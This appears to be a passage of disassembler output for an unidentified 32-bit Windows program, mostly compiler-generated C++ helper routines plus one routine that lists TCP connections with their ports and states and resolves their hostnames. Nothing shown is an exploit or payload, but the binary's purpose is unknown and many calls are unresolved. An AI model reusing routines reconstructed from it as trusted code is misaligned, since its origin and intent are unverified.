		add	esp, 4
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D68
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D64
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D58
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D58
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D54
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		call	near ptr 77C3FA76h
		nop
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		nop
		call	near ptr 27E0B10h
		push	eax
		call	near ptr 77C371BCh
		nop
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
